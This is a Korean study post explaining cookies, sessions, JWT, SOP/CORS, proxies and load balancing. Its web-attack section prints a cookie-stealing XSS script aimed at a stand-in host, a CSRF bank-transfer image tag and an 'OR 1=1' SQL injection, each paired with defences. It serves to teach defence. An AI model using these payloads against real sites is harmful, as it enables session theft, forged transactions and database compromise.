쿠키 & 캐시 & 프록시 서버

웹 서비스를 이용하다 보면
로그인을 하고 나서부터는 편리한 기능들이 제공되는 것을 경험 하게된다.
예를 들어, 내가 이전에 봤던 상품들을 다시 보여주거나,
내가 살고 있는 지역의 날씨 정보를 자동으로 보여주거나,
이전에 설정했던 언어 설정을 기억하고 있기도 한다.

그렇다면 어떻게 웹사이트는 로그인한 이후의 나를 정확히 알아보고,
이렇게 개인화된 서비스를 제공할 수 있는 걸까?

서비스를 이용하기 위해선?

우리가 브라우저를 통해서 원하는 서비스를 이용하기 위해서는
Authentication 과 Authorization 절차가 필요하다.

Authentication

웹 서비스가 사용자를 식별하는 첫 번째 단계인 로그인 과정이 “인증(Authentication)” 이다.
서비스에서 로그인할 때 아이디와 비밀번호를 입력하면,
서버는 데이터베이스에 저장된 정보와 비교해서
일치하면 로그인이 성공되고 사용자는 서비스를 이용할 수 있게된다.

Authorization

인증을 통해 사용자가 누구인지 확인했다면,
이후 사용자가 서비스의 여러 기능들을 사용할 때
인증된 사용자가 특성 리소스에 접근하거나 특정 기능을 실행할 수 있도록 허용하거나 거부하는 과정이 “인가(Authorization)” 이다.
즉, 로그인이 유지되는 상태에서 일어나는 일이라고 볼 수 있다.

그렇다면
어떤 사이트나 서비스에서 내가 로그인을 시도하면
서버에서는 어떤 일이 일어난 뒤에 로그인이 성공되고
내가 로그인해있다는 사실을 서버가 어떻게 지속적으로 인지할 수 있는걸까?

Authentication 절차에서는 어떤 일이?

우리는 웹 브라우저와 웹 서버 간의 데이터 통신을 위한 프로토콜인 HTTP 를 통해서
로그인을 진행하게 될 것이다.
우리는 로그인과 비밀번호에 대한 정보를 담아서 서버에게 요청을 할 것이고
서버는 데이터베이스에 저장된 정보와 내가 입력한 정보와 비교해서 일치한다면
그에 맞는 상태 코드를 보내게 될 것이다.

Authorization 절차에서는 어떤 일이?

그 이후, 만약 Authentication된 사용자에게만 제공되는 서비스를 이용하고자 한다면 어떻게할까?

HTTP의 무상태성이라는 특징 때문에
브라우저와 서버에게 매 요청마다 로그인 정보를 보내야 할 것이다.

💡 HTTP의 무상태성(Stateless) 이란?

HTTP는 ‘무상태성’이라는 중요한 특징을 가지고 있다.
’무상태성’은 서버가 클라이언트의 이전 요청에 대한 어떠한 정보도 기억하지 않는다는 것을 의미한다.

예를 들어, 웹사이트에 로그인했을때 무상태성이라는 특징 때문에
서버는 사용자가 로그인 페이지를 거쳐 로그인했다는 사실을 기억하지 못한다.

💡 무상태성의 장점과 한계

무상태성은 서버의 부담을 줄이고 확장성을 높이는 데 큰 장점을 제공한다.
각 요청이 독립적으로 처리되기 때문에, 서버는 이전 요청에 대한 정보를 저장하고 관리할 필요가 없다.
따라서 서버의 자원을 효율적으로 사용할 수 있도록 해준다.

하지만, 앞서 언급한 로그인 상태 유지와 같은 연속적인 작업을 처리하는 데에는 한계가 있다.
예를 들어 쇼핑몰에서 장바구니에 물건을 담는 경우 무상태성이라면,
페이지를 이동할 때마다 장바구니가 비어버리는 문제가 발생한다.

그럼, 서버는 데이터베이스에 저장된 사용자 계정의 해시값 등을 꺼내온 다음에
사용자의 암호를 복잡한 알고리즘으로 계산한 값과 일치하는지 확인하는 무거운 작업을 매 요청 처리해야하는 문제가 있을 것이다.

이러한 무상태성의 한계를 극복하기 위해 사용되는 기술이 바로 쿠키와 세션이다.

쿠키(Cookie)와 세션(Session)

쿠키 는 서버가 클라이언트의 컴퓨터(웹 브라우저)에 저장하는 작은 텍스트 파일이고
세션 은 서버 측에서 클라이언트의 상태 정보를 저장하는 방식이다.

이 두 기술을 통해서 무엇을 할 수 있을까?
로그인 과정을 예로 들어 설명하자면 아래와 같다.

1. 사용자가 아이디와 비밀번호를 입력하여 로그인을 시도한다.
2. 서버는 인증 과정을 거친 후, 사용자의 정보를 저장하기 위해 세션 ID를 생성하고, 해당 정보를 서버의 세션 저장소에 저장한다.
3. 생성된 세션 ID는 쿠키를 통해 클라이언트에게 전달한다.
4. 클라이언트는 세션 ID가 담긴 쿠키를 저장하고, 이후 서버에 요청을 보낼 때 이 쿠키를 함께 전송한다.
5. 서버는 쿠키에 담긴 세션 ID를 통해 세션 저장소에서 해당 사용자의 정보를 찾아 로그인 상태를 유지하게 된다.

즉, 쿠키는 클라이언트 측에서 세션 ID를 저장하는 역할을 하고 세션은 서버 측에서 사용자 정보를 관리할 수 있다.
이러한 방식을 통해서 매 요청마다 로그인 정보를 보낼 필요없이
로그인 상태 유지, 장바구니 기능, 사용자 설정 저장 등 다양한 기능을 이용할 수 있게 된다.

하지만 세션 방식을 이용한 방식의 단점은
서버가 세션 ID가 담긴 요청을 처리할 때마다
세션 저장소에서 세션 ID와 일치하는 ID가 있는지 조회해야하는데
만약 서비스의 동시 접속자가 너무 많다고 한다면 서버에 과부하가 걸릴 수 있다.

서버에 부담없이 Authorization을 구현한 방식이 토큰 방식인 JWT이다.

JWT(JSON Web Token)

JWT는 인증 정보를 JSON 형태로 암호화하여 토큰(Token)으로 만든 다음,
해당 토큰을 클라이언트에게 전달하는 방식이다.

로그인 과정을 예로 들어 설명하자면 아래와 같다.

1. 사용자가 아이디와 비밀번호를 입력하여 로그인을 시도한다.
2. 서버는 입력된 정보를 검증한 후, 사용자가 인증되면 사용자 정보를 기반으로 JWT를 생성합니다. 이 JWT는 사용자 ID와 만료 시간 등의 정보를 포함하고, 비밀 키로 서명된다.
3. 생성된 JWT는 클라이언트에게 응답으로 전달됩니다. 클라이언트는 이 토큰을 로컬 스토리지나 쿠키에 저장한다.
4. 클라이언트가 서버에 요청을 보낼 때, 저장된 JWT를 Authorization 헤더에 포함하여 전송한다.
5. 서버는 수신한 JWT를 검증하여 유효성을 확인하고, JWT에 포함된 정보를 통해 사용자를 식별합니다. 이를 통해 로그인 상태를 유지하게 된다.

놀이공원에 입장할 때 필요한 입장권이 있다고 해보자
세션 방식은 입장권에 적힌 특정 ID와 서버에 저장된 ID 정보를 비교하여 일치할 경우에만 입장할 수 있도록 하는 방식이고
JWT 방식은 입장권에 회원명, 발급일, 유효기간이 적혀 있고, 이 정보만으로 유효기간이 지나지 않았다면 입장을 허용하는 방식인 것이다.
그렇다면 JWT 방식이 더 좋다고 할 수 있을까?

세션 vs JWT

JWT의 치명적인 단점은 토큰이 클라이언트 측에 저장되기 때문에,
만약 토큰이 탈취되면 공격자가 해당 토큰을 사용해 인증된 사용자로 가장할 수 있다는 점이다.
JWT는 상태 비저장(stateless) 방식으로,
서버에서 세션 정보를 유지하지 않고 오로지 토큰에 있는 정보만으로 인증하기 때문에
로그아웃 시 토큰을 무효화하기 어렵다.

💡 Refresh Token

리프레시 토큰을 사용하면 JWT의 단점을 어느 정도 보완할 수 있다.
리프레시 토큰은 일반적으로 긴 유효 기간을 가지며, 액세스 토큰이 만료되었을 때 새로운 액세스 토큰을 발급받기 위해 사용된다.
이를 통해 사용자는 지속적으로 인증된 상태를 유지할 수 있으며,
액세스 토큰이 탈취되더라도 리프레시 토큰이 안전하게 관리된다면 보안성을 높일 수 있다.

그러나 여전히 몇 가지 문제가 존재한다.
첫째, 리프레시 토큰이 클라이언트 측에 저장되면, 이 또한 탈취될 위험이 있다.
둘째, 리프레시 토큰을 서버에서 관리하지 않으면, 로그아웃 시 모든 리프레시 토큰을 무효화하기 어려워 보안에 취약해질 수 있다.
셋째, 리프레시 토큰의 유효 기간이 길 경우, 만약 탈취되면 공격자가 오랜 시간 동안 시스템에 접근할 수 있는 위험이 있다.
이러한 이유로, 리프레시 토큰을 사용할 때에도 추가적인 보안 조치가 필요하다.

최근 서비스들이 JWT보다 세션 방식을 선택하는 이유는
세션 방식이 상태 저장(stateful) 방식으로,
서버에서 사용자 정보를 관리하고, 로그아웃 시 세션을 쉽게 무효화할 수 있기 때문이다.
이로 인해 보안성이 높아진다.
또한, 세션 방식은 서버가 클라이언트의 상태를 유지할 수 있어서 사용자가 특정 기기에 로그인된 상태를 로그아웃하는 행위가 가능하다.

그렇다면 Authentication되지 않은 사용자가
Authentication된 사용자의 정보를 탈취 방식은 무엇일까?

주요 웹 공격 방식

XSS(Cross-Site Scripting): 악성 스크립트 삽입 공격

XSS는 공격자가 웹 사이트에 악성 스크립트를 삽입하여 사용자 정보를 탈취하는 공격 방식이다.
공격자는 게시판이나 댓글과 같은 사용자 입력 필드를 통해 악성 스크립트를 삽입할 수 있다.
사용자가 해당 웹 페이지를 방문하면, 삽입된 스크립트가 실행되어 사용자의 쿠키나 세션 정보를 탈취할 수 있다.

<script>document.location='http://malicious-site.com/steal-cookie?cookie=' + document.cookie;</script>

XSS 공격을 방어하기 위해서는 모든 입력값에 대한 유효성 검사(Validation)를 수행하고,
출력 시에는 HTML 엔티티 인코딩(HTML Entity Encoding) 또는 이스케이핑(Escaping)을 통해 특수 문자를 안전하게 처리해야 한다.
Content Security Policy (CSP)를 사용하여 브라우저가 실행할 수 있는 스크립트의 출처를 제한할 수 있다.

CSRF(Cross-Site Request Forgery): 위조된 요청 공격

CSRF는 사용자가 자신의 의지와는 상관없이 공격자가 의도한 행위(예: 비밀번호 변경, 송금 등)를 수행하도록 만드는 공격이다.
공격자는 사용자가 로그인한 상태에서 악성 웹 사이트를 방문하도록 유도하여, 사
용자의 브라우저가 서버에 위조된 요청을 보내도록 한다.
이로 인해 사용자의 계정이 악용될 수 있다.

<img src="http://bank.com/transfer?amount=1000&to=attacker_account" />

CSRF 공격을 방어하기 위해 서버는 각 요청에 대해 예측 불가능한 CSRF 토큰을 생성하여 클라이언트에게 전달하고,
요청을 처리할 때마다 토큰의 유효성을 검사해야 한다.
SameSite 쿠키 속성을 사용하여 쿠키가 다른 사이트에서 전송되는 것을 방지할 수 있다.

SQL Injection: 데이터베이스 조작 공격

SQL Injection은 사용자의 입력값을 제대로 검증하지 않아 발생하는 취약점을 이용하여 악의적인 SQL 쿼리를 삽입하여 데이터베이스를 조작하는 공격이다.
공격자는 입력 필드에 SQL 구문을 삽입하여 데이터베이스의 데이터를 조회, 수정, 삭제하거나 심지어 데이터베이스 서버를 장악할 수도 있다.

' OR '1'='1

SELECT * FROM users WHERE username='' OR '1'='1' AND password='...';

SQL Injection 공격을 방어하기 위해서는 PreparedStatement 또는 Parameterized Query를 사용하여 SQL 쿼리를 구성하고,
사용자 입력값을 필터링하여 SQL 구문으로 해석될 수 있는 특수 문자를 제거해야 한다.
또한, 최소 권한 원칙에 따라 데이터베이스 계정에 필요한 최소한의 권한만 부여해야 한다.

웹 보안의 핵심 정책

웹 애플리케이션은 다양한 출처의 자원을 사용하여 동작하기 때문에
보안 위협이 증가할 수 있고 사용자의 데이터와 세션을 보호하기 위한 수단이 필요하다.
그렇다면 웹 보안의 관한 수단은 무엇이있을까?

SOP(Same Origin Policy): 동일 출처 정책

• SOP는 웹 브라우저의 중요한 보안 메커니즘 중 하나이다.
• SOP의 기본 원칙은 “같은 출처에서만 리소스를 공유할 수 있다”는 것이다.
• “출처(Origin)”는 URL의 스킴(Scheme, 프로토콜), 호스트(Host, 도메인), 포트(Port)를 합친 것을 의미하고 이 세 가지가 모두 일치해야 같은 출처로 간주된다.
  하나라도 다르면 다른 출처로 간주되어, 스크립트가 다른 출처의 리소스에 접근하는 것이 제한된다.
  • 예를 들어, http://example.com:8080/path/ 와 http://example.com:8080/another/ 는 같은 출처이지만,
    https://example.com:8080/path/, http://sub.example.com:8080/path/, http://example.com:8081/path/ 는 모두 다른 출처이다.
• SOP의 목적은 악성 스크립트가 다른 웹 사이트의 데이터에 접근하여 사용자 정보를 탈취하는 등의 공격을 방지하는 것이다.
• SOP는 XSS 공격을 방지하는 데 중요한 역할을 한다.

💡 처음 등장한 보안 정책

SOP는 2011년 RFC 6454 문서에서 처음 등장한 보안 정책으로
CSRF(사이트 간 요청 위조)와 XSS(크로스 사이트 스크립팅)와 같은 공격으로부터 보호하기 위한 1차적인 방어선으로 시행되었다.

초기 웹 환경에서는 프론트엔드와 백엔드가 별도로 구성되지 않고
서버가 직접 요청 처리 결과를 HTML 문서로 만들어 클라이언트에게 전송하는 방식이 일반적이었습니다.
이로 인해 모든 처리가 같은 도메인 내에서 이루어져 다른 출처로 요청을 보낼 필요가 없었고
다른 출처로 요청을 보내는 것이 오히려 악의적인 행위로 간주되고 브라우저는 이를 차단하는 것이 자연스러웠다.

그러나 시간이 지나면서 웹 기술이 발전하고 다양한 서비스와 API가 등장하게 되면서
다른 출처로 요청을 보내고 응답을 받아오는 수요가 증가하게 되었다.

CORS(Cross-Origin Resource Sharing): 교차 출처 리소스 공유

• CORS는 SOP의 제한을 완화하여 다른 출처 간의 리소스 공유를 허용하는 메커니즘이다.
• 서버는 HTTP 응답 헤더에 CORS 관련 헤더를 추가하여 어떤 출처의 요청을 허용할지 명시할 수 있다.
• 주요 CORS 관련 헤더는 다음과 같다.
  • Access-Control-Allow-Origin: 요청을 허용할 출처를 지정한다. * 를 사용하여 모든 출처를 허용할 수도 있다.
  • Access-Control-Allow-Methods: 허용할 HTTP 메서드(GET, POST, PUT, DELETE 등)를 지정한다.
  • Access-Control-Allow-Headers: 허용할 HTTP 요청 헤더를 지정한다.
  • Access-Control-Allow-Credentials: 쿠키 또는 HTTP 인증 정보를 포함한 요청을 허용할지 여부를 지정한다.
• CORS는 Preflight Request(사전 요청) 라는 메커니즘을 사용하여 서버의 CORS 정책을 먼저 확인한다.
  Preflight Request는 OPTIONS 메서드를 사용하여 서버에 요청을 보내고,
  서버는 CORS 관련 헤더를 포함한 응답을 반환한다.
  브라우저는 이 응답을 확인하여 실제 요청을 보낼지 여부를 결정한다.
• CORS 작동 방식:
  • 단순 요청 (Simple Request): GET, HEAD, POST 메서드 중 일부 조건(특정 헤더만 사용)을 만족하는 요청은 Preflight Request 없이 바로 서버에 전송된다.
  • Preflighted Request: 단순 요청의 조건을 만족하지 않는 요청은 Preflight Request를 먼저 보낸다.
    서버는 Preflight Request에 대한 응답으로 CORS 관련 헤더를 반환하고,
    브라우저는 이 응답을 확인하여 실제 요청을 보낼지 여부를 결정한다.
  • 인증 정보를 포함한 요청 (Credentialed Request): 쿠키나 HTTP 인증 정보를 포함한 요청은 Access-Control-Allow-Credentials: true 헤더를 서버에서 설정해야 한다.
    이 경우, Access-Control-Allow-Origin 헤더에는 * 를 사용할 수 없으며, 명확한 출처를 지정해야 한다.

💡 CORS 에러

웹 개발을 하다보면 무조건 한 번쯤은 CORS 에러를 만나게 된다.
이 CORS 에러를 해결하는 방법은 무엇이 있을까?

◾ Access◾Control◾Allow◾Origin 헤더 세팅하기

직접 서버에서 HTTP 헤더 설정을 통해 출처를 허용하게 설정하는 가장 정석적인 해결책이다.
서버의 종류에 따라 적절하게 HTTP 헤더를 추가해주면된다.

◾ 프록시 서버 사용하기

프록시 서버를 사용하게 되면 프록시 서버와 API 서버 간의 통신은 서버 간 통신이므로 CORS 제약을 받지 않는다.
SOP 과 CORS 는 웹 브라우저에서 작동하는 보안 메커니즘이며,
웹 브라우저와 서버 간의 통신에만 적용이 되기 때문이다.

프록시 서버 (Proxy Server) 란?

프록시 서버는 클라이언트와 서버 사이에 위치하여 중개자 역할을 하는 서버이다.
즉, 프록시 서버는 클라이언트에서 서버로 접속을 할 떄 직접적으로 접속하지 않고 중간에 대신 전달해주는 서버인 것이다.
따라서, 프록시는 클라이언트의 요청을 받아 서버에 전달하고, 서버의 응답을 받아 클라이언트에게 전달하게 된다.

그렇다면 굳이 프록시서버를 거치는 이유는 무엇일까?

포워드 프록시(Forward Proxy): 클라이언트 측 프록시

포워드 프록시는 클라이언트와 인터넷 사이에서 중개자 역할을 하는 서버이다.
클라이언트가 포워드 프록시 서버에 요청을 보내면 프록시 서버가 그 요청을 받아 인터넷상의 웹 서버에 전달하고
웹 서버의 응답을 다시 클라이언트에게 전달한다.
이 방식의 이점은 무엇일까?

• 익명성 보장: 클라이언트의 실제 IP 주소를 숨겨 개인 정보 보호 및 익명성을 제공하여 웹 서버는 프록시 서버의 IP 주소만 인식하게 된다.

  → 사용자가 공공 Wi-Fi를 통해 인터넷에 접속할 때 프록시 서버의 IP 주소만 인식하게 되어 개인정보를 보호할 수 있다.

• 접근 제어 및 필터링: 특정 웹 사이트에 대한 접근을 차단하거나 유해 콘텐츠를 필터링할 수 있다.

  → 기업이나 학교 등에서 직원이나 학생들의 인터넷 사용을 관리하기 위해 유용하게 사용된다. 예를 들어, 업무 시간 중 소셜 미디어 사이트 접근을 차단하거나, 유해 사이트 접속을 막을 수 있다.

• 캐싱: 자주 방문하는 웹 사이트의 데이터를 캐싱하여 네트워크 트래픽을 줄이고 응답 속도를 향상시킬 수 있다.
  여러 사용자가 동일한 웹 페이지를 요청할 경우, 프록시 서버는 캐시된 데이터를 제공하여 웹 서버의 부하를 줄일 수 있다.

  → 사용자가 업데이트를 다운로드할 때 프록시 서버가 해당 파일을 다운로드하여 캐시하고 이후 다른 사용자가 같은 업데이트를 요청할 경우 프록시는 원본 서버에 요청하지 않고 캐시된 파일을 제공함으로써 원본 서버의 부하를 줄일 수 있다. 네트워크 병목 현상을 완화하고 대역폭 사용량을 최적화할 수 있다.

• 보안 강화: 악성 웹 사이트로부터 클라이언트를 보호할 수 있다.
  프록시 서버는 웹 트래픽을 검사하여 악성 코드를 탐지하고 차단할 수 있다.

  → 프록시 서버가 알려진 악성 URL 목록을 참조하여 해당 사이트에 대한 접근을 차단한다.

💡 캐싱

캐싱은 자주 사용되는 자원의 사본을 저장하여
서버의 부하를 줄이고 사용자에게 빠른 응답 속도를 제공하는 기술이다.
캐싱은 브라우저, 프록시 서버 등 다양한 위치에 존재할 수 있다.

◾ 서버 부하 감소: 반복적인 요청을 줄여 서버의 부하를 줄인다.
◾ 응답 속도 향상: 캐시에서 바로 자원을 제공하므로 응답 속도가 빨라진다.
◾ 네트워크 트래픽 감소: 불필요한 데이터 전송을 줄여 네트워크 트래픽을 감소시킨다.

리버스 프록시(Reverse Proxy): 서버 측 프록시

리버스 프록시는 인터넷과 서버 사이에서 중개자 역할을 하는 서버이다.
클라이언트는 리버스 프록시와 통신하며, 실제 서버의 존재를 알지 못하게 된다.
이 방식의 이점은 무엇일까?

• 보안 강화: 실제 서버의 IP 주소를 숨겨 외부 공격으로부터 보호할 수 있다.

• 로드 밸런싱: 여러 대의 서버에 트래픽을 분산시켜 서버 부하를 줄일 수 있다.

  → 특정 시간에 많은 사용자가 접속할 경우 리버스 프록시가 요청을 여러 서버로 나누어 처리하여 서버의 부하를 줄일 수 있다.

• 캐싱: 정적 콘텐츠를 캐싱하여 서버의 응답 속도를 향상시킬 수 있다.

  → 자주 요청되는 정적 콘텐츠(예: 이미지, CSS 파일 등)를 캐싱하여 사용자가 페이지를 요청할 때 리버스 프록시가 캐시된 콘텐츠를 제공하여 서버의 응답 속도를 향상시킬 수 있다.

• SSL 암호화/복호화: SSL 암호화 및 복호화 작업을 대신 수행하여 서버의 부하를 줄일 수 있다.

즉 프록시 서버는 보안, 캐시, 우회를 위해서 사용한다고 할 수 있다.
그 중에서도 리버스 프록시의 로드 밸런싱은 선택사항 이지만
트래픽이 많은 서비스의 경우 로드 밸런싱이 필수적이다.
그렇다면 로드 밸런싱을에 대해 더 알아보자

로드 밸런싱 (Load Balancing) 이란?

해야할 작업을 나누어 서버의 부하를 분산시키는 것이다.

💡 로드 밸런싱이 왜 필요할까?

로드 밸런서는 서버들에게 요청을 나눠주는 장치로
여러 대의 서버가 분산 처리할 수 있도록 요청을 나눠주는 서비스이다.

서비스의 사용자가 늘어나면서 일어나는 서버의 부하를
Scale Up (하드웨어의 성능을 높이는 것) 을 통해
해결하면 단기적으로는 해결방식이 될 수는 있으나
사용자가 더 많이 늘어날 서비스라면 추가적인 Scale Up이 필요할 수 있고
Scale Up은 비용적인 측면에서 부담이 큰 일이기 때문에
Scale Out (여러 대의 Server 가 나누어 일을 하는 것) 을 통해
로드 밸런서 장치 뒤에 서버를 여러개 두는 방식을 고안하게 된 것이다.

로드 밸런서의 종류

로드 밸런서는 작동 방식에 따라 L4 로드 밸런서와 L7 로드 밸런서로 나눌 수 있다.

• L4 로드 밸런서: 전송 계층(Transport Layer)에서 IP 주소와 포트 번호를 기반으로 트래픽을 분산한다.
• L7 로드 밸런서: 애플리케이션 계층(Application Layer)에서 HTTP 헤더, URL, 쿠키 등 애플리케이션의 내용을 분석하여 트래픽을 분산한다. 더욱 정교한 로드 밸런싱이 가능하며, 콘텐츠 기반 라우팅, 세션 유지 등의 기능을 제공한다.

💡 타임아웃 Timeout

만약 단일 서버로 서비스를 제공하고 있다면
많은 사용자가 동시에 접속할 경우 서버에 과부하가 걸리게된다.

서버의 응답이 늦어지거나 없을 때
클라이언트는 무한정 기다리는 것이 아니라
클라이언트는 서버로부터 응답을 기다리는 시간 제한을 가지고 있는데
이것을 타임아웃 이라고 한다.

타임아웃은 네트워크 연결의 안정성을 유지하는 데 중요한 역할을 합니다.
무한정 기다리는 상황을 방지하고, 시스템 자원 낭비 방지를 할 수 있다.

네트워크 통신에서 타임아웃은
특정 시간 내에 응답이 없을 경우 연결을 종료하는 설정으로
커넥션 타임아웃과 리드 타임아웃이 있다.

◾ 커넥션 타임아웃(Connection Timeout)

클라이언트가 서버와의 연결을 시도할 때
지정된 시간 내에 연결이 확립되지 않으면 연결을 포기한다.
이는 서버가 응답하지 않거나 네트워크 문제로 연결이 불가능한 경우에 발생할 수 있다.

◾ 리드 타임아웃(Read Timeout)

클라이언트가 서버에 요청을 보낸 후
지정된 시간 내에 응답을 받지 못하면 연결을 종료한다.
이는 서버가 요청을 처리하는 데 너무 오래 걸리거나 응답을 보내지 않는 경우에 발생할 수 있다.

Reference

• https://www.youtube.com/watch?v=YxwYhenZ3BE
• https://www.youtube.com/watch?v=XXseiON9CV0&t=169s